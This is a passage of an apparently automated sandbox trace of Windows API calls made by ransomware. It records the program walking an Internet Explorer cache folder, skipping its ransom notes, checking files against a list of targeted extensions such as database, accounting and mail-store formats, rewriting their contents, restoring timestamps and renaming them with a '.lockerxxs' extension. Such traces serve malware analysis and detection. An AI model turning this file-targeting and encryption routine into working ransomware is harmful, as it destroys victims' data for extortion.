"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg.lockerxxs")) returned 1 [0084.070] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5360ae70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5360ae70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5360ae70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x97c, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBImKp[1].jpg", cAlternateFileName="BBBIMK~1.JPG")) returned 1 [0084.070] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.070] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBImKp[1].jpg") returned 1 [0084.070] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBImKp[1].jpg") returned 1 [0084.070] lstrcmpiA (lpString1="", lpString2="BBBImKp[1].jpg") returned -1 [0084.070] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg") returned="BBALZyp[1].jpg" [0084.070] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.070] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.070] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.070] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.070] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBImKp[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" [0084.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.ems") returned 0 [0084.070] lstrlenA (lpString="*.ems") returned 5 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.db") returned 0 [0084.071] lstrlenA (lpString="*.db") returned 4 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.dbf") returned 0 [0084.071] lstrlenA (lpString="*.dbf") returned 5 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.myox") returned 0 [0084.071] lstrlenA (lpString="*.myox") returned 6 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.myo") returned 0 [0084.071] lstrlenA (lpString="*.myo") returned 5 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.qbw") returned 0 [0084.071] lstrlenA (lpString="*.qbw") returned 5 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.qbb") returned 0 [0084.071] lstrlenA (lpString="*.qbb") returned 5 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.qbm") returned 0 [0084.071] lstrlenA (lpString="*.qbm") returned 5 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.qbo") returned 0 [0084.071] lstrlenA (lpString="*.qbo") returned 5 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.qbx") returned 0 [0084.071] lstrlenA (lpString="*.qbx") returned 5 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.qba") returned 0 [0084.071] lstrlenA (lpString="*.qba") returned 5 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.qby") returned 0 [0084.071] lstrlenA (lpString="*.qby") returned 5 [0084.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.qbj") returned 0 [0084.071] lstrlenA (lpString="*.qbj") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.ofx") returned 0 [0084.072] lstrlenA (lpString="*.ofx") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.qif") returned 0 [0084.072] lstrlenA (lpString="*.qif") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.mye") returned 0 [0084.072] lstrlenA (lpString="*.mye") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.mbox") returned 0 [0084.072] lstrlenA (lpString="*.mbox") returned 6 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.eml") returned 0 [0084.072] lstrlenA (lpString="*.eml") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.pst") returned 0 [0084.072] lstrlenA (lpString="*.pst") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.ost") returned 0 [0084.072] lstrlenA (lpString="*.ost") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.idx") returned 0 [0084.072] lstrlenA (lpString="*.idx") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.dbx") returned 0 [0084.072] lstrlenA (lpString="*.dbx") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.sql") returned 0 [0084.072] lstrlenA (lpString="*.sql") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.mdb") returned 0 [0084.072] lstrlenA (lpString="*.mdb") returned 5 [0084.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.fdb") returned 0 [0084.072] lstrlenA (lpString="*.fdb") returned 5 [0084.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.wab") returned 0 [0084.073] lstrlenA (lpString="*.wab") returned 5 [0084.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.dat") returned 0 [0084.073] lstrlenA (lpString="*.dat") returned 5 [0084.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.txt") returned 0 [0084.073] lstrlenA (lpString="*.txt") returned 5 [0084.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.jpeg") returned 0 [0084.073] lstrlenA (lpString="*.jpeg") returned 6 [0084.073] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", pszSpec="*.jpg") returned 1 [0084.073] lstrlenA (lpString="*.jpg") returned 5 [0084.073] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" [0084.073] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" [0084.073] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg." [0084.073] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg.lockerxxs" [0084.073] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.074] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x97c [0084.074] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5360ae70, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5360ae70, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5360ae70, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.074] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.074] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x956, lpOverlapped=0x0) returned 1 [0084.076] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg") returned="BBBImKp[1].jpg" [0084.076] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.076] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x956, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x956, lpOverlapped=0x0) returned 1 [0084.076] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.077] CloseHandle (hObject=0xa4) returned 1 [0084.077] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg.lockerxxs")) returned 1 [0084.078] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53598a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53598a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53630fd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29ca, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBMGJo[1].jpg", cAlternateFileName="BBBMGJ~1.JPG")) returned 1 [0084.078] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.078] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBMGJo[1].jpg") returned 1 [0084.078] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBMGJo[1].jpg") returned 1 [0084.078] lstrcmpiA (lpString1="", lpString2="BBBMGJo[1].jpg") returned -1 [0084.078] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg") returned="BBBImKp[1].jpg" [0084.078] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.078] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.078] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.078] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.078] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBMGJo[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" [0084.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.ems") returned 0 [0084.078] lstrlenA (lpString="*.ems") returned 5 [0084.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.db") returned 0 [0084.078] lstrlenA (lpString="*.db") returned 4 [0084.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.dbf") returned 0 [0084.078] lstrlenA (lpString="*.dbf") returned 5 [0084.078] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.myox") returned 0 [0084.079] lstrlenA (lpString="*.myox") returned 6 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.myo") returned 0 [0084.079] lstrlenA (lpString="*.myo") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.qbw") returned 0 [0084.079] lstrlenA (lpString="*.qbw") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.qbb") returned 0 [0084.079] lstrlenA (lpString="*.qbb") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.qbm") returned 0 [0084.079] lstrlenA (lpString="*.qbm") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.qbo") returned 0 [0084.079] lstrlenA (lpString="*.qbo") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.qbx") returned 0 [0084.079] lstrlenA (lpString="*.qbx") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.qba") returned 0 [0084.079] lstrlenA (lpString="*.qba") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.qby") returned 0 [0084.079] lstrlenA (lpString="*.qby") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.qbj") returned 0 [0084.079] lstrlenA (lpString="*.qbj") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.ofx") returned 0 [0084.079] lstrlenA (lpString="*.ofx") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.qif") returned 0 [0084.079] lstrlenA (lpString="*.qif") returned 5 [0084.079] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.mye") returned 0 [0084.080] lstrlenA (lpString="*.mye") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.mbox") returned 0 [0084.080] lstrlenA (lpString="*.mbox") returned 6 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 